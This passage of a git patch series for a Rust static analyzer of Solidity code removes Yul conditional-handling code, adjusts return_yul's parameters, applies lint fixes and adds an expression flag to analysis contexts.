Some(yul_expr) = maybe_yul_expr { - // analyzer.parse_ctx_yul_expr(arena, yul_expr, ctx)?; - // analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let Some(ret) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "No right hand side assignments in yul block".to_string(), - // )); - // }; - - // if matches!(ret, ExprRet::CtxKilled(_)) { - // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.match_assign_yul(ctx, loc, &nodes, ret) - // }) - // } else { - // Ok(()) - // } - // } - // If(loc, yul_expr, yul_block) => { - // analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let ret = analyzer.yul_cond_op_stmt(arena, loc, yul_expr, yul_block, ctx); - // let _ = analyzer.add_if_err(ret); - // Ok(()) - // }) - // } - // For(YulFor { - // loc, - // init_block: _, - // condition: _, - // post_block: _, - // execution_block: _, - // }) => { - // let sctx = - // Context::add_subctx(ctx, None, *loc, None, None, false, analyzer, None) - // .into_expr_err(*loc)?; - // let subctx = ContextNode::from(analyzer.add_node(Node::Context(sctx))); - // ctx.set_child_call(subctx, analyzer).into_expr_err(*loc)?; - // analyzer.apply_to_edges(subctx, *loc, arena, &|analyzer, arena, subctx, loc| { - // let vars = subctx.local_vars(analyzer).clone(); - // vars.iter().for_each(|(name, var)| { - // // widen to max range - // if let Some(inheritor_var) = ctx.var_by_name(analyzer, name) { - // let inheritor_var = inheritor_var.latest_version(analyzer); - // if let Some(r) = var - // .underlying(analyzer) - // .unwrap() - // .ty - // .default_range(analyzer) - // .unwrap() - // { - // let new_inheritor_var = analyzer - // .advance_var_in_ctx(inheritor_var, loc, ctx) - // .unwrap(); - // let res = new_inheritor_var - // .set_range_min(analyzer, arena, r.min) - // .into_expr_err(loc); - // let _ = analyzer.add_if_err(res); - // let res = new_inheritor_var - // .set_range_max(analyzer, arena, r.max) - // .into_expr_err(loc); - // let _ = analyzer.add_if_err(res); - // } - // } - // }); - // Ok(()) - // }) - // } - // Switch(YulSwitch { - // loc, - // condition, - // cases, - // default, - // }) => analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // analyzer.yul_switch_stmt( - // arena, - // loc, - // condition.clone(), - // cases.to_vec(), - // default.clone(), - // ctx, - // ) - // }), - // Leave(loc) => Err(ExprErr::Todo( - // *loc, - // "Yul `leave` statements are not currently supported".to_string(), - // )), - // Break(loc) => Err(ExprErr::Todo( - // *loc, - // "Yul `break` statements are not currently supported".to_string(), - // )), - // Continue(loc) => Err(ExprErr::Todo( - // *loc, - // "Yul `continue` statements are not currently supported".to_string(), - // )), - // Block(yul_block) => { - // yul_block - // .statements - // .iter() - // .for_each(|stmt| analyzer.parse_ctx_yul_stmt_inner(arena, stmt, ctx)); - // Ok(()) - // } - // FunctionDefinition(yul_func_def) => Err(ExprErr::Todo( - // yul_func_def.loc(), - // "Yul `function` defintions are not currently supported".to_string(), - // )), - // FunctionCall(yul_func_call) => analyzer.yul_func_call(arena, yul_func_call, ctx), - // Error(loc) => Err(ExprErr::ParseError( - // *loc, - // "Could not parse this yul statement".to_string(), - // )), - // } - // }); - // let _ = self.add_if_err(ret); - } - - #[tracing::instrument(level = "trace", skip_all)] - /// Parse a yul expression - fn parse_ctx_yul_expr( - &mut self, - arena: &mut RangeArena>, - expr: &YulExpression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - panic!("here"); - // tracing::trace!("Parsing yul expression: {expr:?}"); - - // let edges = ctx.live_edges(self).into_expr_err(expr.loc())?; - // if edges.is_empty() { - // self.parse_ctx_yul_expr_inner(arena, expr, ctx) - // } else { - // edges - // .iter() - // .try_for_each(|fork_ctx| self.parse_ctx_yul_expr(arena, expr, *fork_ctx))?; - // Ok(()) - // } - } - - /// After performing some setup in `parse_ctx_yul_expr`, actually parse the yul expression - fn parse_ctx_yul_expr_inner( - &mut self, - arena: &mut RangeArena>, - expr: &YulExpression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - panic!("here"); - // use YulExpression::*; - // match expr { - // BoolLiteral(loc, b, _) => self.bool_literal(ctx, *loc, *b), - // NumberLiteral(loc, int, exp, unit) => { - // self.number_literal(ctx, *loc, int, exp, false, unit) - // } - // HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, false), - // HexStringLiteral(lit, _) => self.hex_literals(ctx, &[lit.clone()]), - // StringLiteral(lit, _) => self.string_literal(ctx, lit.loc, &lit.string), - // Variable(ident) => { - // self.variable(arena, ident, ctx, None, None)?; - // self.apply_to_edges(ctx, ident.loc, arena, &|analyzer, _arena, edge_ctx, loc| { - // if let Some(ret) = edge_ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? { - // if ContextVarNode::from(ret.expect_single().into_expr_err(loc)?) - // .is_memory(analyzer) - // .into_expr_err(loc)? - // { - // // its a memory based variable, push a uint instead - // let b = Builtin::Uint(256); - // let var = ContextVar::new_from_builtin( - // loc, - // analyzer.builtin_or_add(b).into(), - // analyzer, - // ) - // .into_expr_err(loc)?; - // let node = analyzer.add_node(Node::ContextVar(var)); - // edge_ctx - // .push_expr(ExprRet::Single(node), analyzer) - // .into_expr_err(loc) - // } else { - // edge_ctx.push_expr(ret, analyzer).into_expr_err(loc) - // } - // } else { - // Err(ExprErr::Unresolved( - // ident.loc, - // format!("Could not find variable with name: {}", ident.name), - // )) - // } - // }) - // } - // FunctionCall(yul_func_call) => self.yul_func_call(arena, yul_func_call, ctx), - // SuffixAccess(loc, yul_member_expr, ident) => { - // self.parse_inputs(arena, ctx, *loc, &[*yul_member_expr.clone()])?; - - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let Ok(Some(lhs)) = ctx.pop_expr_latest(loc, analyzer) else { - // return Err(ExprErr::NoLhs( - // loc, - // "`.slot` had no left hand side".to_string(), - // )); - // }; - // match &*ident.name { - // "slot" => { - // let slot_var = analyzer.slot( - // ctx, - // loc, - // lhs.expect_single().into_expr_err(loc)?.into(), - // ); - // ctx.push_expr(ExprRet::Single(slot_var.into()), analyzer) - // .into_expr_err(loc)?; - // Ok(()) - // } - // _ => Err(ExprErr::Todo( - // expr.loc(), - // format!("Yul member access `{}` not yet supported", ident.name), - // )), - // } - // }) - // } - // } - } - +pub trait YulBuilder: AnalyzerBackend + Sized { /// Match [`ExprRet`] from the sides of an `YulAssign` to perform the assignment fn match_assign_yul( &mut self, diff --git a/crates/solc-expressions/src/yul/yul_cond_op.rs b/crates/solc-expressions/src/yul/yul_cond_op.rs deleted file mode 100644 index d2412c1d..00000000 --- a/crates/solc-expressions/src/yul/yul_cond_op.rs +++ /dev/null @@ -1,379 +0,0 @@ -use crate::{require::Require, yul::YulBuilder, ContextBuilder}; - -use graph::{ - elem::*, - nodes::{ - Concrete, ConcreteNode, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, - SubContextKind, - }, - AnalyzerBackend, ContextEdge, Edge, Node, -}; -use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; - -use ethers_core::types::U256; -use solang_parser::pt::{ - CodeLocation, Expression, Identifier, Loc, YulBlock, YulExpression, YulFunctionCall, - YulStatement, YulSwitchOptions, -}; - -impl YulCondOp for T where - T: AnalyzerBackend + Require + Sized -{ -} - -/// Trait for dealing with conditional operations in yul -pub trait YulCondOp: - AnalyzerBackend + Require + Sized -{ - #[tracing::instrument(level = "trace", skip_all)] - /// Handle a yul conditional operation statement - fn yul_cond_op_stmt( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - if_expr: &YulExpression, - true_stmt: &YulBlock, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let true_subctx_kind = SubContextKind::new_fork(ctx, true); - let true_subctx = - Context::add_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let false_subctx_kind = SubContextKind::new_fork(ctx, false); - let false_subctx = - Context::add_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - ctx.set_child_fork(true_subctx, false_subctx, analyzer) - .into_expr_err(loc)?; - let ctx_fork = analyzer.add_node(Node::ContextFork); - analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); - analyzer.add_edge( - NodeIdx::from(true_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - analyzer.add_edge( - NodeIdx::from(false_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - - analyzer.parse_ctx_yul_expr(arena, if_expr, true_subctx)?; - analyzer.apply_to_edges(true_subctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "True conditional had no lhs".to_string(), - )); - }; - - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.match_yul_true(arena, ctx, if_expr.loc(), &ret) - })?; - - analyzer.parse_ctx_yul_statement( - arena, - &YulStatement::Block(true_stmt.clone()), - true_subctx, - ); - // let false_expr = YulExpression::FunctionCall(Box::new(YulFunctionCall { - // loc, - // id: Identifier { - // loc, - // name: "iszero".to_string(), - // }, - // arguments: vec![if_expr.clone()], - // })); - analyzer.parse_ctx_yul_expr(arena, if_expr, false_subctx)?; - analyzer.apply_to_edges(false_subctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "False conditional had no lhs".to_string(), - )); - }; - - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.match_yul_false(arena, ctx, if_expr.loc(), &ret) - }) - }) - } - - #[tracing::instrument(level = "trace", skip_all)] - /// Handle a yul if-else - fn yul_if_else( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - if_else_chain: &IfElseChain, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let true_subctx_kind = SubContextKind::new_fork(ctx, true); - let true_subctx = - Context::add_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let false_subctx_kind = SubContextKind::new_fork(ctx, false); - let false_subctx = - Context::add_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - ctx.set_child_fork(true_subctx, false_subctx, analyzer) - .into_expr_err(loc)?; - let ctx_fork = analyzer.add_node(Node::ContextFork); - analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); - analyzer.add_edge( - NodeIdx::from(true_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - analyzer.add_edge( - NodeIdx::from(false_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - - let if_expr_loc = if_else_chain.if_expr.loc(); - analyzer.apply_to_edges( - true_subctx, - if_expr_loc, - arena, - &|analyzer, arena, ctx, loc| { - analyzer.parse_ctx_yul_expr(arena, &if_else_chain.if_expr, true_subctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, _loc| { - let Some(true_vars) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul switch statement was missing a case discriminator".to_string(), - )); - }; - - if matches!(true_vars, ExprRet::CtxKilled(_)) { - ctx.push_expr(true_vars, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_yul_true(arena, ctx, loc, &true_vars)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_yul_statement(arena, &if_else_chain.true_stmt, ctx); - Ok(()) - }) - }) - }, - )?; - - if let Some(next) = &if_else_chain.next { - match next { - ElseOrDefault::Default(default) => analyzer.apply_to_edges( - false_subctx, - loc, - arena, - &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_yul_statement(arena, default, ctx); - Ok(()) - }, - ), - ElseOrDefault::Else(iec) => analyzer.apply_to_edges( - false_subctx, - loc, - arena, - &|analyzer, arena, ctx, loc| analyzer.yul_if_else(arena, loc, iec, ctx), - ), - } - } else { - Ok(()) - } - }) - } - - /// Helper for the `true` evaluation of a yul conditional - fn match_yul_true( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - true_cvars: &ExprRet, - ) -> Result<(), ExprErr> { - match true_cvars { - ExprRet::CtxKilled(kind) => ctx.kill(self, loc, *kind).into_expr_err(loc)?, - ExprRet::Single(_true_cvar) | ExprRet::SingleLiteral(_true_cvar) => { - let cnode = ConcreteNode::from(self.add_node(Concrete::Uint(1, U256::from(0)))); - let tmp_true = Node::ContextVar( - ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, self) - .into_expr_err(loc)?, - ); - let rhs_paths = - ExprRet::Single(ContextVarNode::from(self.add_node(tmp_true)).into()); - - self.handle_require_inner(arena, ctx, true_cvars, &rhs_paths, RangeOp::Gt, loc)?; - } - ExprRet::Multi(ref true_paths) => { - // TODO: validate this - // we only take one because we just need the context out of the return - true_paths - .iter() - .take(1) - .try_for_each(|expr_ret| self.match_yul_true(arena, ctx, loc, expr_ret))?; - } - ExprRet::Null => {} - } - Ok(()) - } - - /// Helper for the `false` evaluation of a yul conditional - fn match_yul_false( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - false_cvars: &ExprRet, - ) -> Result<(), ExprErr> { - match false_cvars { - ExprRet::CtxKilled(kind) => ctx.kill(self, loc, *kind).into_expr_err(loc)?, - ExprRet::Single(_false_cvar) | ExprRet::SingleLiteral(_false_cvar) => { - let cnode = ConcreteNode::from(self.add_node(Concrete::Uint(1, U256::from(0)))); - let tmp_true = Node::ContextVar( - ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, self) - .into_expr_err(loc)?, - ); - let rhs_paths = - ExprRet::Single(ContextVarNode::from(self.add_node(tmp_true)).into()); - - self.handle_require_inner(arena, ctx, false_cvars, &rhs_paths, RangeOp::Eq, loc)?; - } - ExprRet::Multi(ref false_paths) => { - // TODO: validate this - // we only take one because we just need the context out of the return - false_paths - .iter() - .take(1) - .try_for_each(|expr_ret| self.match_yul_false(arena, ctx, loc, expr_ret))?; - } - ExprRet::Null => {} - } - - Ok(()) - } - - #[tracing::instrument(level = "trace", skip_all)] - /// Handle a yul swithc statement by converting it into an if-else chain - fn yul_switch_stmt( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - condition: YulExpression, - cases: Vec, - default: Option, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - let iec = IfElseChain::from(loc, (condition, cases, default))?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, _loc| { - analyzer.yul_if_else(arena, loc, &iec, ctx) - }) - } -} - -#[derive(Clone, Debug)] -/// A yul-based if-else chain, which represents a switch statement -pub struct IfElseChain { - pub if_expr: YulExpression, - pub true_stmt: YulStatement, - pub next: Option, -} - -#[derive(Clone, Debug)] -/// Wrapper over a switch statement that denotes either another else statement or the default case -pub enum ElseOrDefault { - Else(Box), - Default(YulStatement), -} - -impl From for ElseOrDefault { - fn from(iec: IfElseChain) -> Self { - Self::Else(Box::new(iec)) - } -} - -impl IfElseChain { - pub fn from_child(ed: ElseOrDefault) -> Option { - match ed { - ElseOrDefault::Else(iec) => Some(*iec), - _ => None, - } - } -} - -impl From for ElseOrDefault { - fn from(default: YulSwitchOptions) -> Self { - match default { - YulSwitchOptions::Default(_loc, block) => { - ElseOrDefault::Default(YulStatement::Block(block)) - } - _ => unreachable!("case as default"), - } - } -} - -pub type SwitchInfo = ( - YulExpression, - Vec, - Option, -); - -impl IfElseChain { - pub fn from(loc: Loc, (condition, cases, default): SwitchInfo) -> Result { - let mut child: Option = default.map(|default| default.into()); - - cases.into_iter().rev().for_each(|case| { - let mut chain_part: IfElseChain = From::from((condition.clone(), case)); - if let Some(c) = child.take() { - chain_part.next = c.into(); - } - child = Some(chain_part.into()); - }); - let Some(child) = child else { - return Err(ExprErr::NoRhs( - loc, - "No cases or default found for switch statement".to_string(), - )); - }; - - let Some(iec) = IfElseChain::from_child(child) else { - return Err(ExprErr::NoRhs( - loc, - "No cases or default found for switch statement".to_string(), - )); - }; - Ok(iec) - } -} - -impl From<(YulExpression, YulSwitchOptions)> for IfElseChain { - fn from((condition, case): (YulExpression, YulSwitchOptions)) -> Self { - match case { - YulSwitchOptions::Case(loc, expr, stmt) => { - let if_expr = YulExpression::FunctionCall(Box::new(YulFunctionCall { - loc, - id: Identifier { - loc, - name: "eq".to_string(), - }, - arguments: vec![condition, expr], - })); - IfElseChain { - if_expr, - true_stmt: YulStatement::Block(stmt), - next: None, - } - } - YulSwitchOptions::Default(_loc, _block) => { - unreachable!("We shouldn't have a `default` case in cases - only in the `default` input parameter") - } - } - } -} diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index 1f204193..994e9eaf 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -1,4 +1,4 @@ -use crate::{assign::Assign, variable::Variable, yul::YulBuilder, BinOp, Cmp, ContextBuilder, Env}; +use crate::{assign::Assign, variable::Variable, BinOp, Cmp, Env}; use graph::{ elem::*, @@ -11,7 +11,7 @@ use graph::{ use shared::{ExprErr, FlatExpr, IntoExprErr, RangeArena, StorageLocation}; use ethers_core::types::U256; -use solang_parser::pt::{Expression, Loc, YulExpression, YulFunctionCall}; +use solang_parser::pt::{Expression, Loc}; impl YulFuncCaller for T where T: AnalyzerBackend + Sized + GraphBackend @@ -63,7 +63,7 @@ pub trait YulFuncCaller: } "return" => { let [offset, size] = inputs.into_sized(); - self.return_yul(ctx, size, loc)?; + self.return_yul(ctx, offset, size, loc)?; ctx.kill(self, loc, KilledKind::Ended).into_expr_err(loc)?; Ok(()) } @@ -524,7 +524,13 @@ pub trait YulFuncCaller: } } - fn return_yul(&mut self, ctx: ContextNode, size: ExprRet, loc: Loc) -> Result<(), ExprErr> { + fn return_yul( + &mut self, + ctx: ContextNode, + _offset: ExprRet, + size: ExprRet, + loc: Loc, + ) -> Result<(), ExprErr> { match size { ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), ExprRet::Single(size) | ExprRet::SingleLiteral(size) => { @@ -555,7 +561,7 @@ pub trait YulFuncCaller: ExprRet::Multi(sizes) => { sizes .into_iter() - .try_for_each(|size| self.return_yul(ctx, size, loc))?; + .try_for_each(|size| self.return_yul(ctx, _offset.clone(), size, loc))?; Ok(()) } ExprRet::Null => Ok(()), From 615ad5e16d601ce99d87cd152b4693ff98d15903 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Thu, 18 Jul 2024 15:04:36 -0700 Subject: [PATCH 20/52] lint --- crates/solc-expressions/src/func_call/helper.rs | 8 ++++---- crates/solc-expressions/src/literal.rs | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/crates/solc-expressions/src/func_call/helper.rs b/crates/solc-expressions/src/func_call/helper.rs index e9bf44dd..346eb868 100644 --- a/crates/solc-expressions/src/func_call/helper.rs +++ b/crates/solc-expressions/src/func_call/helper.rs @@ -257,12 +257,12 @@ pub trait CallerHelper: AnalyzerBackend + tmp_literals[target_idx] = literals[i]; }); } else { - tmp_inputs = inputs.clone(); - tmp_literals = literals.clone(); + tmp_inputs.clone_from(&inputs); + tmp_literals.clone_from(&literals); } } else { - tmp_inputs = inputs.clone(); - tmp_literals = literals.clone(); + tmp_inputs.clone_from(&inputs); + tmp_literals.clone_from(&literals); } params diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index 76dc84fd..5a36a31e 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -842,7 +842,7 @@ mod tests { #[test] fn test_hex_literals_multiple() -> Result<()> { - let hex_literals = vec![ + let hex_literals = [ HexLiteral { hex: "7B".to_string(), // 123 in decimal loc: Loc::File(0, 0, 0), From 164d47ec88d3026925002ae2c2f3f231b8a591ab Mon Sep 17 00:00:00 2001 From: brock elmore Date: Thu, 18 Jul 2024 17:01:12 -0700 Subject: [PATCH 21/52] exprflag in ctx --- crates/analyzers/src/func_analyzer/mod.rs | 16 +- crates/graph/src/graph_elements.rs | 5 +- crates/graph/src/nodes/context/node.rs | 12 +- crates/graph/src/nodes/context/typing.rs | 12 +- crates/graph/src/nodes/context/underlying.rs | 36 ++- crates/graph/src/nodes/context/versioning.rs | 16 +- crates/pyrometer/src/analyzer_backend.rs | 18 +- .../tests/test_data/repros/issue69.sol | 16 +- crates/shared/src/analyzer_like.rs | 11 - crates/shared/src/flattened.rs | 4 +- .../src/context_builder/flattened.rs | 213 +++++++++++++----- .../src/context_builder/mod.rs | 20 +- .../context_builder/test_command_runner.rs | 2 +- .../src/func_call/func_caller.rs | 40 +--- .../solc-expressions/src/func_call/helper.rs | 136 +---------- .../src/func_call/modifier.rs | 1 - crates/solc-expressions/src/loops.rs | 109 +++++---- 17 files changed, 313 insertions(+), 354 deletions(-) diff --git a/crates/analyzers/src/func_analyzer/mod.rs b/crates/analyzers/src/func_analyzer/mod.rs index ff1c2ae2..6a86b4f7 100644 --- a/crates/analyzers/src/func_analyzer/mod.rs +++ b/crates/analyzers/src/func_analyzer/mod.rs @@ -333,14 +333,14 @@ pub trait FunctionVarsBoundAnalyzer: VarBoundAnalyzer + Search + AnalyzerBackend { return None; } - if !report_config.show_reverts - && matches!( - fork.underlying(self).unwrap().killed, - Some((_, KilledKind::Revert)) - ) - { - return None; - } + // if !report_config.show_reverts + // && matches!( + // fork.underlying(self).unwrap().killed, + // Some((_, KilledKind::Revert)) + // ) + // { + // return None; + // } let mut parents = fork.parent_list(self).unwrap(); parents.reverse(); parents.push(*fork); diff --git a/crates/graph/src/graph_elements.rs b/crates/graph/src/graph_elements.rs index 7d7ce65f..681cad1b 100644 --- a/crates/graph/src/graph_elements.rs +++ b/crates/graph/src/graph_elements.rs @@ -2,8 +2,8 @@ use crate::elem::Elem; use crate::{nodes::*, VarType}; use shared::{ - AnalyzerLike, ExprFlag, FlatExpr, GraphDot, GraphError, GraphLike, Heirarchical, NodeIdx, - RangeArena, RepresentationErr, + AnalyzerLike, FlatExpr, GraphDot, GraphError, GraphLike, Heirarchical, NodeIdx, RangeArena, + RepresentationErr, }; use lazy_static::lazy_static; @@ -33,7 +33,6 @@ pub trait AnalyzerBackend: FunctionParam = FunctionParam, FunctionReturn = FunctionReturn, Function = Function, - ExprFlag = ExprFlag, FlatExpr = FlatExpr, > + GraphBackend { diff --git a/crates/graph/src/nodes/context/node.rs b/crates/graph/src/nodes/context/node.rs index ef079d8c..602f8107 100644 --- a/crates/graph/src/nodes/context/node.rs +++ b/crates/graph/src/nodes/context/node.rs @@ -4,7 +4,7 @@ use crate::{ AnalyzerBackend, AsDotStr, GraphBackend, Node, }; -use shared::{GraphError, NodeIdx, RangeArena}; +use shared::{ExprFlag, GraphError, NodeIdx, RangeArena}; use solang_parser::pt::Loc; @@ -31,6 +31,16 @@ impl ContextNode { self.associated_fn(analyzer)?.add_gas_cost(analyzer, cost) } + pub fn take_expr_flag(&self, analyzer: &mut impl AnalyzerBackend) -> Option { + self.underlying_mut(analyzer).unwrap().take_expr_flag() + } + pub fn set_expr_flag(&self, analyzer: &mut impl AnalyzerBackend, flag: ExprFlag) { + self.underlying_mut(analyzer).unwrap().set_expr_flag(flag) + } + pub fn peek_expr_flag(&self, analyzer: &impl AnalyzerBackend) -> Option { + self.underlying(analyzer).unwrap().peek_expr_flag() + } + /// Gets the total context width pub fn total_width(&self, analyzer: &mut impl AnalyzerBackend) -> Result { self.first_ancestor(analyzer)? diff --git a/crates/graph/src/nodes/context/typing.rs b/crates/graph/src/nodes/context/typing.rs index 5c5b8a1c..68d2e25e 100644 --- a/crates/graph/src/nodes/context/typing.rs +++ b/crates/graph/src/nodes/context/typing.rs @@ -1,5 +1,5 @@ use crate::{ - nodes::{context::underlying::SubContextKind, ContextNode, FunctionNode}, + nodes::{context::underlying::SubContextKind, ContextNode, FunctionNode, KilledKind}, AnalyzerBackend, GraphBackend, }; use shared::GraphError; @@ -42,11 +42,19 @@ impl ContextNode { || (!underlying.ret.is_empty() && underlying.modifier_state.is_none())) } - /// Returns whether the context is killed + /// Returns whether the context is returned pub fn is_returned(&self, analyzer: &impl GraphBackend) -> Result { Ok(!self.underlying(analyzer)?.ret.is_empty()) } + /// Returns whether the context is reverted + pub fn is_graceful_ended(&self, analyzer: &impl GraphBackend) -> Result { + Ok(matches!( + self.underlying(analyzer)?.killed, + Some((_, KilledKind::Ended)) + )) + } + /// Returns whether the context is killed pub fn is_killed(&self, analyzer: &impl GraphBackend) -> Result { Ok(self.underlying(analyzer)?.killed.is_some()) diff --git a/crates/graph/src/nodes/context/underlying.rs b/crates/graph/src/nodes/context/underlying.rs index 29ed063d..23ea3af5 100644 --- a/crates/graph/src/nodes/context/underlying.rs +++ b/crates/graph/src/nodes/context/underlying.rs @@ -7,7 +7,7 @@ use crate::{ AnalyzerBackend, ContextEdge, Edge, Node, }; -use shared::{GraphError, NodeIdx}; +use shared::{ExprFlag, GraphError, NodeIdx}; use solang_parser::pt::Loc; use std::collections::BTreeSet; @@ -173,6 +173,19 @@ impl SubContextKind { } } + pub fn init_expr_flag(&self, analyzer: &impl AnalyzerBackend) -> Option { + match self { + SubContextKind::ExternalFnCall { .. } => None, + SubContextKind::InternalFnCall { .. } => None, + SubContextKind::Fork { parent_ctx, .. } + | SubContextKind::Loop { parent_ctx } + | SubContextKind::Dummy { parent_ctx } => parent_ctx.peek_expr_flag(analyzer), + SubContextKind::FnReturn { + continuation_of, .. + } => continuation_of.peek_expr_flag(analyzer), + } + } + pub fn init_ctx_cache( &self, analyzer: &impl AnalyzerBackend, @@ -338,6 +351,8 @@ pub struct Context { pub dl_solver: DLSolver, /// Functions applied (but not reparsed) in this context pub applies: Vec, + /// Current expression flag + pub expr_flag: Option, } impl From for Node { @@ -368,6 +383,7 @@ impl Context { cache: Default::default(), dl_solver: Default::default(), applies: Default::default(), + expr_flag: None, } } @@ -453,6 +469,7 @@ impl Context { .dl_solver .clone(), applies: Default::default(), + expr_flag: subctx_kind.init_expr_flag(analyzer), }) } @@ -470,6 +487,16 @@ impl Context { Ok(ctx_node) } + pub fn take_expr_flag(&mut self) -> Option { + std::mem::take(&mut self.expr_flag) + } + pub fn set_expr_flag(&mut self, flag: ExprFlag) { + self.expr_flag = Some(flag); + } + pub fn peek_expr_flag(&self) -> Option { + self.expr_flag + } + pub fn add_fork_subctxs( analyzer: &mut impl AnalyzerBackend, parent_ctx: ContextNode, @@ -501,13 +528,16 @@ impl Context { Ok((true_subctx, false_subctx)) } - pub fn new_loop_subctx( + pub fn add_loop_subctx( parent_ctx: ContextNode, loc: Loc, analyzer: &mut impl AnalyzerBackend, ) -> Result { let subctx_kind = SubContextKind::Loop { parent_ctx }; - Context::add_subctx(subctx_kind, loc, analyzer, None) + let loop_ctx = Context::add_subctx(subctx_kind, loc, analyzer, None)?; + parent_ctx.set_child_call(loop_ctx, analyzer)?; + analyzer.add_edge(loop_ctx, parent_ctx, Edge::Context(ContextEdge::Loop)); + Ok(loop_ctx) } /// Set the child context to a fork diff --git a/crates/graph/src/nodes/context/versioning.rs b/crates/graph/src/nodes/context/versioning.rs index 92543d97..c49a74ab 100644 --- a/crates/graph/src/nodes/context/versioning.rs +++ b/crates/graph/src/nodes/context/versioning.rs @@ -156,7 +156,9 @@ impl ContextNode { match child { CallFork::Call(call) => { let call_edges = call.successful_edges(analyzer)?; - if call_edges.is_empty() && !call.is_killed(analyzer)? { + let is_graceful_ended = call.is_graceful_ended(analyzer)?; + let bad_killed = call.is_killed(analyzer)? && !is_graceful_ended; + if call_edges.is_empty() && !bad_killed { lineage.push(call) } else { lineage.extend(call_edges); @@ -164,14 +166,20 @@ impl ContextNode { } CallFork::Fork(w1, w2) => { let fork_edges = w1.successful_edges(analyzer)?; - if fork_edges.is_empty() && !w1.is_killed(analyzer)? { + let is_graceful_ended = w1.is_graceful_ended(analyzer)?; + let bad_killed = w1.is_killed(analyzer)? && !is_graceful_ended; + if fork_edges.is_empty() && !bad_killed { lineage.push(w1) } else { lineage.extend(fork_edges); } let fork_edges = w2.successful_edges(analyzer)?; - if fork_edges.is_empty() && !w2.is_killed(analyzer)? { + + let is_graceful_ended = w2.is_graceful_ended(analyzer)?; + let bad_killed = w2.is_killed(analyzer)? && !is_graceful_ended; + + if fork_edges.is_empty() && !bad_killed { lineage.push(w2) } else { lineage.extend(fork_edges); @@ -405,7 +413,7 @@ impl ContextNode { kill_loc: Loc, kill_kind: KilledKind, ) -> Result<(), GraphError> { - tracing::trace!("killing: {}", self.path(analyzer)); + tracing::trace!("killing: {}, {kill_kind:?}", self.path(analyzer)); if let Some(child) = self.underlying(analyzer)?.child { match child { CallFork::Call(call) => { diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index 6f55551c..410b468c 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -9,8 +9,8 @@ use graph::{ AnalyzerBackend, Edge, GraphBackend, Node, RepresentationInvariant, TypeNode, VarType, }; use shared::{ - AnalyzerLike, ApplyStats, ExprErr, ExprFlag, FlatExpr, 